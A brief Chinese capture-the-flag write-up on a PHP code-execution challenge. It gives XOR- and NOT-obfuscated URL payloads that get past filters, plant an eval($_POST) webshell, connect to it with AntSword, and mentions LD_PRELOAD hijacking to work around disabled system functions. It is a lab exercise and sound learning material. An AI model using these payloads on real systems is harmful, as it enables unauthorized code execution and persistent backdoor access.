用取反传了一个system(‘ls’);没有反应,看样子要另寻他法(之后看phpinfo()发现system被ban了)
取反做法:
取反绕过然后传个后门。为啥这里要用assert,搜了一下。
如下:
assert把整个字符串参数当php代码执行。php7中,assert不再是函数,变成了一个语言结构(类似eval),不能再作为函数名动态执行代码,所以利用起来稍微复杂一点。但也无需过于担心,比如我们利用file_put_contents函数,同样可以用来getshell。
这里就很奇怪了,用火狐hackbar一直说我太长了,用postman就能正常使用后门,不知道为什么。
异或做法:
Payload:
?code=${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=phpinfo
Payload:
?code=${%fe%fe%fe%fe^%a1%b9%bb%aa}[_](${%fe%fe%fe%fe^%a1%b9%bb%aa}[__]);&_=assert&__=eval($_POST[%27jay17%27])
蚁剑成功连接。
但是flag里面没有东西,看了下wp,要用【 LD_preload + mail劫持so来执行系统命令】。粗略的看了一下,感觉根本看不明白,于是我就换了一种脏方法,直接用蚁剑的插件。